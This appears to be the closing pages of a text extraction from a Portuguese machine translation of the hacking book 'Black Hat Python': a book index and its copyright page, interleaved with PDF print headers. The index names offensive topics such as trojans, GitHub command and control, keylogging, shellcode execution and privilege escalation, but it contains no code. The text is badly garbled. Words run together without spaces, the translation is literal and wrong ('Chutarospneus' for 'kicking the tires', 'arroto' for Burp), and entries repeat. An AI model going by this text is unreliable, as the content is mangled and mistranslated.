17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Pneus,chutarospneus,SSHTunneling,SSHTunneling,TunnelingSSH

tunneling,Chutarospneus,Chutarospneus,Chutarospneus,Chutarospneus,SSH
Tunneling,SSHtunelamento,tunelamentoSSH
paraafrente,Chutarospneus,Chutarospneus
reversa,Chutarospneus,SSHTunneling,SSHTunneling
testes,SSHTunneling
comparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalarparamiko,SSHcomparamiko
autenticaodechave,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
testes,SSHcomparamiko
funossh_command,SSHcomparamiko
GuiaDadosPilha,WingIDE,WingIDE
funostart_monitor,ganhandoacorrida
parmetroloja,roubandomailCredenciais
funostore_module_result,ConstruindoumGithubAwareTrojan
funotira,VirandositecontedoemSenhaouro
bibliotecasubprocess,SubstituindoNetcat
SVNDigger,Chutarospneus
T
TagStripperclasse,VirandositecontedoemSenhaouro
dicionriotag_results,BruteForandoHTMLFormAuthentication
Guiadestino,arroto,Chutarospneus,VirandositecontedoemSenhaOuro,Virandosite
Contedoemourosenha
ClientesTCP,criando,ARede:Basics
ProxiesTCP,Chutarospneus,Chutarospneus,ConstruindoumTCPProxy,ConstruindoumTCPProxy,
ConstruindoumProxyTCP

criando,Chutarospneus
hexdespejofuno,ConstruindoumTCPProxy
funoproxy_handler,ConstruindoumTCPProxy
razesparaaconstruo,retrocedeospneus
testes,ConstruindoumTCPProxy
ServidoresTCP,criando,TCPServidor
ClasseTCPServer,ManintheBrowser(tipode)
funotest_remote,MapeamentoAbrirFonteWebAppInstalaes
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
mtododetransporte,SSHTunneling
trojans,GithubComandoeControle,Githubcomandoecontrole,CriaodeMdulos,Trojan
Configurao,ConstruindoumGithubAwareTrojan,funcionalidadedeimportaodeHackingPython,Hacking
FuncionalidadedeimportaodoPython,Chutarospneus,TarefasTrojaningcomunsparaoWindows,Keylogging

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 110/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
paraodivertimentoeoTeclar,chutarospneus,TomarScreenshots,chutarospneus
GitHubaware,GithubComandoeControle,GithubComandoeControle,CriandoMdulos,
ConfiguraodeTria,ConstruindoumTrojanGithubAware,funcionalidadedeimportaodeHackingPython,
HackingfuncionalidadedeimportaodoPython,Chutarospneus
configuraodaconta,GithubComandoeControle
construo,construodeumGithubAwareTrojan
Configurando,TrojanConfigurao
criaodemdulos,CriaodeMdulos
hackersfuncionalidadedeimportao,HackingdoPythonimportaoFuncionalidade
melhoriaseaperfeioamentospara,Chutarospneus
testes,HackingdoPythonimportaoFuncionalidade
TarefasdoWindows,CommonTrojaningTarefasnoWindowsKeyloggingparaFuneteclas,
Chutarospneus,TomarScreenshots,chutarospneus
keylogging,KeyloggingparaFuneTeclas
detecodesandbox,Chutarospneus
screenshots,Chutarospneus
execuoshellcode,TomarScreenshots

Tumblr,CriaodoServidor
voc
ClientesUDP,criando,TCPCliente
udp_senderfuno,DecodingICMP
bibliotecaurllib2,OsoqueteBibliotecadeaWeb:urllib2,TomarScreenshots
funourlopen,OsoqueteBibliotecadeaWeb:urllib2
V
VMWarePlayer,ConfiguraoUpSeuPythonAmbiente
Quadrovolatilidade,AutomatizandoofensivosForensics,AutomatizandoofensivosForensics,Automatizando
Forensicsofensivos,agarrandooshashesdesenha,cdigodiretoInjection
injeodecdigodireto,diretoCdigoInjection
instalao,AutomatizandoofensivosForensics
perfis,AutomatizandoofensivosForensics
recuperaroshashesdesenha,Agarrandosenhahashes
W
funowait_for_browser,ManintheBrowser(tipode)
bandeiraWB,SubstituindoNetcat
ataquesaaplicaesweb,Webhackery,OsoqueteBibliotecadeaWeb:urllib2,OsoqueteBibliotecade
Web:urllib2,ABibliotecasoquetedaWeb:urllib2,MapeamentoOpenSourceWebApp
Instalaes,chutarospneus,BruteForardiretrioselocalizaesdosficheiros,BruteForar
Diretrioselocalizaesdearquivo,BruteForandodiretrioselocalizaesdearquivo,BruteForando
Diretrioselocaisdearquivos,BruteForardiretrioselocalizaesdosficheiros,BruteForarHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,chutarospneus,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,Burp
Fuzzing,arrotoFuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus

bruteforcingdiretrioselocaisdearquivo,Chutarospneus,BruteForandoDiretrioseArquivo
Locais,diretrioselocalizaesdearquivo,DiretriosBruteforamentoeArquivoBrutoForando
Locais,diretrioselocalizaesdearquivo,DiretriosBruteforamentoeArquivoBrutoForando
localizaes
listadeextensesdeaplicaoparatestar,BruteForandoDiretriosearquivoLocalizaes
listadeextensesquecriam,BruteForarDiretriosearquivoLocalizaes
criandoQueueobjetosapartirdearquivosdelistasdepalavras,BruteForarDiretriosearquivoLocalizaes

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 111/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
criaodelistadepalavras,BruteForandoDiretriosearquivoLocalizaes
testes,BruteForandoDiretriosearquivoLocalizaes
bruteforcingautenticaodeformulrioHTML,BruteForandoHTMLFormAuthentication,BruteForando
AutenticaodeformulrioHTML,BruteForandoaautenticaodeformulrioHTML,BruteForandoHTML
Autenticaodeformulrio,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus
formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
RequisiesGET,OsoqueteBibliotecadeaWeb:urllib2,OsoqueteBibliotecadeaWeb:urllib2,O
TomadaBibliotecadaWeb:urllib2,InstalaesMapeamentoOpenSourceWebApp
opensourceinstalaesdeaplicativoswebdemapeamento,mapeamentoAbrirFonteWebAppInstalaes
simples,OsoqueteBibliotecadeaWeb:urllib2
bibliotecasocket,OsoqueteBibliotecadeaWeb:urllib2
usandoaclasseRequest,OsoqueteBibliotecadeaWeb:urllib2
fuzzersaplicativosweb,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,arrotofuzzing,
ArrotarFuzzing,chutarospneus,chutarospneus,chutarospneus,chutarospneus
acessodocumentaoarroto,arrotoFuzzing
implementaodocdigoparaatendersexigncias,arrotoFuzzing
extensodecarregamento,arrotoFuzzing,arrotoFuzzing,Chutarospneus
fuzzersimples,arrotoFuzzing
usandoaextensodosataques,Chutarospneus,Chutarospneus,Chutarospneus

mdulowin32security,oWindowsTokenparaPrivilgios
ClasseWin32_Process,ProcessodeMonitoramentocomWMI,ProcessodeMonitoramentocomWMI
OWindowsinterfacegrficadedispositivo(GDI),Chutarospneus
Janelasdeescalonamentodeprivilgios,oWindowsPrivilegeEscalation,janelasPrivilegeEscalation,
Janelasdeescalonamentodeprivilgios,CriaodeumMonitordeProcessos,CriaodeumMonitordeProcesso,Processo
MonitorandocomWMI,omonitoramentodoprocessocomoWMI,privilgiosdeTokendoWindows,oWindowstoken
Privilgios,ganharacorrida,ganharacorrida,ganharacorrida,chutarospneus
injeodecdigo,Chutarospneus
instalarexemplodeservio,oWindowsPrivilegeEscalation
ainstalaodebibliotecas,oWindowsPrivilegeEscalation
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI
testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
vencendocorridacontraaexecuodecdigo,ganhandoacorrida,ganharacorrida,ganharaCorrida
criaodemonitordearquivo,ganhandoacorrida
testes,ganhandoacorrida
TarefasdetriaWindows,CommonTrojaningTarefasnoWindowsKeyloggingparaFuneteclas,
Chutarospneus,TomarScreenshots,chutarospneus
keylogging,KeyloggingparaFuneTeclas
detecodesandbox,Chutarospneus
screenshots,Chutarospneus
execuoshellcode,TomarScreenshots
WingIDE,InstalandoKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE,WingIDE

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 112/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

acessar,WingIDE
Corrigindodependnciasausentes,WingIDE
discussogeral,InstalandoKaliLinux
inspecionaremodificarasvariveis
locais,WingIDE,WingIDE

instalao,WingIDE
abrindoembrancoarquivodePython,WingIDE
definirpontosdeinterrupo,WingIDE
definindoroteiroparaadepurao,WingIDE,WingIDE
vendorastreamentodepilha,WingIDE,WingIDE
funowordlist_menu,VirandositecontedoemSenhaouro
Wuergler,Mark,Criaodeumprocessodemonitor

BlackHatPython:ProgramaoPythonparahackersePentesters
JustinSeitz
Copyright2014
PYTHONchapupreto.
Todososdireitosreservados.Nenhumapartedestetrabalhopodeserreproduzidaoutransmitidaporqualquerformaouporqualquermeio,eletrnicooumecnico,
incluindofotocpia,gravaoouporqualquersistemadearmazenamentodeinformaoourecuperaosemaprviaautorizaoporescritododireitodeautor
proprietrioeeditor.
1817161514 123456789
ISBN10:1593275900
ISBN13:9781593275907
Editor:WilliamPollock
EditordeProduo:SerenaYang
Ilustraodacapa:GarryBooth
DesigndeInteriores:OctopodStudios
EditordeDesenvolvimento:TylerOrtman
RevisoresTcnicos:DanFrischeCliffJanzen
EditordeTexto:GillianMcGarvey
Compositor:LynnL'Heureux
Revisor:JamesFraleigh
Indexador:indexaoBIMeServiosdeReviso
Paraobterinformaessobreadistribuio,tradues,ouvendasagranel,porfavorcontacteNoStarchPress,Inc.diretamente:
NoStarchPress,Inc.
2458thStreet,SanFrancisco,CA94103
Telefone:415.863.9900info@nostarch.com
www.nostarch.com
BibliotecadoCongressodecontrolodonmero:2014953241
NoStarchPresseologotipoNoStarchPresssomarcasregistradasdaNoStarchPress,Inc.Outrosprodutosenomesdeempresasregistadas

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 113/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
aquimencionadospodemsermarcascomerciaisdeseusrespectivosproprietrios.Aoinvsdeusarumsmbolodemarcaregistradacomcadaocorrnciadeum
nomedemarcaregistrada,estamosusandoosnomesapenasdemaneiraeditorialeembenefciodoproprietriodamarca,semintenode
violaodamarcaregistrada.
Asinformaescontidasnestelivrodistribudo"comoest",semgarantia.Emboratodaprecauotenhasidotomadana
preparaodestetrabalho,nemoautornemNoStarchPress,Inc.terqualquerresponsabilidadeperantequalquerpessoaouentidadeemrelaoaqualquer
perdasoudanoscausados ousupostamentecausados
diretaouindiretamentepelasinformaescontidasnele.

NoStarchPress
20141126T08:31:2808:00

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 114/114

Você também pode gostar